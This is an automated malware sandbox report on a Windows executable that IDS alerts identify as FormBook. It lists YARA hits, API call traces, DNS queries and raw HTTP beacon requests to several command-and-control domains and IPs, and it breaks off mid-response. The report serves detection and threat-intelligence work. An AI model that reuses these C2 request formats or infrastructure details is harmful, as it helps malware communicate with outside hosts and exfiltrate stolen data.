Windows Analysis Report
FOTO#U011eRAFLAR.exe

AI detected suspicious sample

Source: Yara match	File source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.2012145210.0000000005860000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3546137914.0000000000F40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3545010767.0000000000830000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3547691925.0000000004ED0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2011124026.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3546082583.0000000000EF0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3546078918.0000000002AE0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2011753567.0000000003B90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: FOTO#U011eRAFLAR.exe

Joe Sandbox ML: detected

Source: FOTO#U011eRAFLAR.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source:	Binary string: winver.pdb source: svchost.exe, 00000001.00000003.1980070090.000000000321A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1980124475.000000000323B000.00000004.00000020.00020000.00000000.sdmp, GhotoFFnRo.exe, 00000005.00000002.3545608911.0000000000E48000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: GhotoFFnRo.exe, 00000005.00000000.1938013471.0000000000BBE000.00000002.00000001.01000000.00000005.sdmp, GhotoFFnRo.exe, 00000007.00000002.3545711657.0000000000BBE000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: wntdll.pdbUGP source: FOTO#U011eRAFLAR.exe, 00000000.00000003.1694500272.0000000003860000.00000004.00001000.00020000.00000000.sdmp, FOTO#U011eRAFLAR.exe, 00000000.00000003.1695007879.0000000003A00000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2011442081.0000000003800000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1919020737.0000000003400000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1920958794.0000000003600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2011442081.000000000399E000.00000040.00001000.00020000.00000000.sdmp, winver.exe, 00000006.00000003.2014121501.00000000048B5000.00000004.00000020.00020000.00000000.sdmp, winver.exe, 00000006.00000003.2011547954.0000000004708000.00000004.00000020.00020000.00000000.sdmp, winver.exe, 00000006.00000002.3546458580.0000000004BFE000.00000040.00001000.00020000.00000000.sdmp, winver.exe, 00000006.00000002.3546458580.0000000004A60000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: FOTO#U011eRAFLAR.exe, 00000000.00000003.1694500272.0000000003860000.00000004.00001000.00020000.00000000.sdmp, FOTO#U011eRAFLAR.exe, 00000000.00000003.1695007879.0000000003A00000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000001.00000002.2011442081.0000000003800000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1919020737.0000000003400000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1920958794.0000000003600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2011442081.000000000399E000.00000040.00001000.00020000.00000000.sdmp, winver.exe, winver.exe, 00000006.00000003.2014121501.00000000048B5000.00000004.00000020.00020000.00000000.sdmp, winver.exe, 00000006.00000003.2011547954.0000000004708000.00000004.00000020.00020000.00000000.sdmp, winver.exe, 00000006.00000002.3546458580.0000000004BFE000.00000040.00001000.00020000.00000000.sdmp, winver.exe, 00000006.00000002.3546458580.0000000004A60000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: winver.pdbGCTL source: svchost.exe, 00000001.00000003.1980070090.000000000321A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1980124475.000000000323B000.00000004.00000020.00020000.00000000.sdmp, GhotoFFnRo.exe, 00000005.00000002.3545608911.0000000000E48000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: winver.exe, 00000006.00000002.3545292765.0000000000C05000.00000004.00000020.00020000.00000000.sdmp, winver.exe, 00000006.00000002.3547176638.000000000508C000.00000004.10000000.00040000.00000000.sdmp, GhotoFFnRo.exe, 00000007.00000002.3546321653.0000000002A9C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2310345131.000000002248C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: winver.exe, 00000006.00000002.3545292765.0000000000C05000.00000004.00000020.00020000.00000000.sdmp, winver.exe, 00000006.00000002.3547176638.000000000508C000.00000004.10000000.00040000.00000000.sdmp, GhotoFFnRo.exe, 00000007.00000002.3546321653.0000000002A9C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2310345131.000000002248C000.00000004.80000000.00040000.00000000.sdmp

Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Code function: 0_2_00D868AD FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	0_2_00D868AD
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Code function: 0_2_00D8680C FindFirstFileW,FindClose,	0_2_00D8680C
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Code function: 0_2_00D7CF94 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00D7CF94
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Code function: 0_2_00D7D2C7 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00D7D2C7
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Code function: 0_2_00D89560 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00D89560
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Code function: 0_2_00D896BB SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00D896BB
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Code function: 0_2_00D7DADC lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	0_2_00D7DADC
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Code function: 0_2_00D89A49 FindFirstFileW,Sleep,FindNextFileW,FindClose,	0_2_00D89A49
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Code function: 0_2_00D85BB5 FindFirstFileW,FindNextFileW,FindClose,	0_2_00D85BB5
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_0084C750 FindFirstFileW,FindNextFileW,FindClose,	6_2_0084C750

Source: C:\Windows\SysWOW64\winver.exe	Code function: 4x nop then xor eax, eax		6_2_00839E80
Source: C:\Windows\SysWOW64\winver.exe	Code function: 4x nop then pop edi		6_2_00852848

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:49736 -> 98.124.224.17:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49736 -> 98.124.224.17:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:49798 -> 104.21.41.74:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49798 -> 104.21.41.74:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49770 -> 104.21.41.74:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49782 -> 104.21.41.74:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49758 -> 104.21.41.74:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49845 -> 172.67.137.238:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:49876 -> 172.67.137.238:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49876 -> 172.67.137.238:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49861 -> 172.67.137.238:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49908 -> 38.47.232.202:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49923 -> 38.47.232.202:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49830 -> 172.67.137.238:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:49955 -> 38.47.232.202:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49939 -> 38.47.232.202:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49955 -> 38.47.232.202:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:50018 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50015 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:50018 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50019 -> 38.47.207.164:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50020 -> 38.47.207.164:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50016 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:50022 -> 38.47.207.164:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:50026 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:50022 -> 38.47.207.164:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:50030 -> 103.21.221.4:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50027 -> 103.21.221.4:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:50026 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:50030 -> 103.21.221.4:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50032 -> 203.161.46.201:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50035 -> 104.21.4.93:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50036 -> 104.21.4.93:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50024 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50023 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50037 -> 104.21.4.93:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50028 -> 103.21.221.4:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50025 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50017 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50033 -> 203.161.46.201:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:50034 -> 203.161.46.201:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:50034 -> 203.161.46.201:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50031 -> 203.161.46.201:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50029 -> 103.21.221.4:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50021 -> 38.47.207.164:80

Performs DNS queries to domains with low reputation

Source:	DNS query: www.darkvader.xyz
Source:	DNS query: www.smirpox.xyz

Source: Joe Sandbox View	IP Address: 103.21.221.4 103.21.221.4
Source: Joe Sandbox View	IP Address: 13.248.169.48 13.248.169.48

Source: Joe Sandbox View	ASN Name: LINKNET-ID-APLinknetASNID LINKNET-ID-APLinknetASNID
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: AMAZON-02US AMAZON-02US
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 52.149.20.212:443 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 52.149.20.212:443 -> 192.168.2.4:49738

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe

Code function: 0_2_00D8CD62 InternetReadFile,SetEvent,GetLastError,SetEvent,

0_2_00D8CD62

Source: global traffic	HTTP traffic detected: GET /rw0k/?SJLty=7Zsl8bAHqdkHEnH&C0oD=2O+BQtagKd2e0tCHf7cQEGpCdZEKMcu8KUvQppDq45CT9l+c4kN/Nkqe5cwEa/TPiwCfdT9AeaeBmqjtzD2yf/vyAaenMmGVr/csdah4RHR/FTYhQMTHjoI= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enHost: www.bookingservice.centerConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900P Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /4y21/?C0oD=mPRMxh+e+VE7Ove39Sw8dmi+aOJGAWH5jFedH8atyVdfIyLeJFBfjy5Y1KL2B+s6BQDtsLRij94DPPI3pu69UR9kCgLa8mV6DaG1kiIWnyUqRHhlgCWSgg4=&SJLty=7Zsl8bAHqdkHEnH HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enHost: www.conansog.shopConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900P Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /a9if/?SJLty=7Zsl8bAHqdkHEnH&C0oD=NPCF0Cc5uwbi+9CdLylAZ+4kLxMnwTwBBFY+WmZ6z4eVD7VdFSaEtftDik7huU9slgF1galMdGpPyLMnTxOlI51ovglTUHTdL9cfhIyo0GaR7r/EyDMZf0s= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enHost: www.mycleanupfiesta.liveConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900P Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /6iur/?C0oD=0nMJct3q1A3XzMXjE+ivshWrQE+XNY2vZkYEnxQvgljfmjLPkYHFjKqOBb0jruiOvYz34q23vFgZrlJgY/jJPVhUzqIQSZTSSXUfz9p/TbKa5+cetqeuNbw=&SJLty=7Zsl8bAHqdkHEnH HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enHost: www.43kdd.topConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900P Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /34uy/?C0oD=KSNenRUz0x3jwwaFmZETAA9KYzPdWounuY72k7Av3QdD/OE/Wc5w7TzUcZjUVirDVR5tYsYUnylr3EOuBfofYgQDaG0iHWLP0vmwml0k5CsL5iUNPuoNBRw=&SJLty=7Zsl8bAHqdkHEnH HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enHost: www.fitlook.shopConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900P Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /pmk2/?C0oD=3De3Y80JIFpHXFcRK4zsuRoR2JqTRvVObOTBM3no2IT+Ydj8n3o/JZofxiKD9jGsDaNhY1uQAIUnKpNiMGMuE6w7CVHn6nbaXTI3bq+rgxbHjMuEgJndnnM=&SJLty=7Zsl8bAHqdkHEnH HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enHost: www.t19yd.topConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900P Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /ow2x/?C0oD=mwEJPxghqBP0HS9n1X+CrOIbCVLsB2OYlrv9OZrAb/GKMQe/j/2ClGpq87hpEmyNapVO3nqvych02uE3cVtiKilbfBQm7ePgulBUbiKMxe88UCqWlHKJoDI=&SJLty=7Zsl8bAHqdkHEnH HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enHost: www.qwibie.netConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900P Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /kfzf/?C0oD=745Y/jOyjUFFKVt1zrqnMxLflzH3xCS2ztdY3unhpOMZjpxTMolv6jL+LcLzYo7s20rMx9IK4inFAvVSlw+JL0dGgGxHe8jTeLADQYR7lRwUQufrcbnmx6Y=&SJLty=7Zsl8bAHqdkHEnH HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enHost: www.tempatmudisini06.clickConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900P Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /qnzs/?C0oD=GxkDHWsX54BcXdr+X4+GX30U3Lj5RtBkEtwzkqjSlwd5bhdVdKj3SOXRTkGfTnWing/dpWlHheQGrgb9DnLsoxo3QIxkxehw/T2sZhHOm+tURauy0yxjdNs=&SJLty=7Zsl8bAHqdkHEnH HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enHost: www.smirpox.xyzConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900P Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36

Source: global traffic	DNS traffic detected: DNS query: www.bookingservice.center
Source: global traffic	DNS traffic detected: DNS query: www.conansog.shop
Source: global traffic	DNS traffic detected: DNS query: www.mycleanupfiesta.live
Source: global traffic	DNS traffic detected: DNS query: www.43kdd.top
Source: global traffic	DNS traffic detected: DNS query: www.darkvader.xyz
Source: global traffic	DNS traffic detected: DNS query: www.fitlook.shop
Source: global traffic	DNS traffic detected: DNS query: www.t19yd.top
Source: global traffic	DNS traffic detected: DNS query: www.qwibie.net
Source: global traffic	DNS traffic detected: DNS query: www.tempatmudisini06.click
Source: global traffic	DNS traffic detected: DNS query: www.smirpox.xyz
Source: global traffic	DNS traffic detected: DNS query: www.nonpressure.beauty

Source: unknown

HTTP traffic detected: POST /4y21/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enAccept-Encoding: gzip, deflate, brHost: www.conansog.shopCache-Control: max-age=0Content-Type: application/x-www-form-urlencodedContent-Length: 201Connection: closeOrigin: http://www.conansog.shopReferer: http://www.conansog.shop/4y21/User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900P Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36Data Raw: 43 30 6f 44 3d 72 4e 35 73 79 56 32 59 71 46 42 46 53 64 2f 7a 36 46 6b 67 43 55 44 39 46 50 64 78 42 55 4c 32 69 6d 76 69 4e 74 76 37 39 67 5a 43 65 79 44 4c 4e 44 52 4c 76 54 49 36 36 4c 4c 6c 45 76 70 66 47 48 66 69 6e 34 73 4a 69 73 74 67 42 76 41 78 6e 38 2b 7a 57 77 35 78 43 79 2f 70 38 6c 49 42 62 74 61 66 30 77 4d 43 79 44 35 39 63 58 46 44 6f 42 6e 6b 35 54 68 53 75 59 77 45 31 31 4f 4c 6f 30 53 70 31 37 48 35 4d 57 71 47 6b 76 47 45 30 34 71 4c 35 67 64 39 59 62 6d 44 54 75 76 58 78 78 4d 41 68 6e 46 54 63 51 74 43 73 46 75 37 67 38 38 55 4d 30 51 61 4e 41 37 33 4f 78 43 51 59 67 3d 3d Data Ascii: C0oD=rN5syV2YqFBFSd/z6FkgCUD9FPdxBUL2imviNtv79gZCeyDLNDRLvTI66LLlEvpfGHfin4sJistgBvAxn8+zWw5xCy/p8lIBbtaf0wMCyD59cXFDoBnk5ThSuYwE11OLo0Sp17H5MWqGkvGE04qL5gd9YbmDTuvXxxMAhnFTcQtCsFu7g88UM0QaNA73OxCQYg==

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/10.0X-Powered-By: ASP.NETX-Frame-Options: SAMEORIGINDate: Tue, 12 Nov 2024 17:47:45 GMTConnection: closeContent-Length: 1245Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 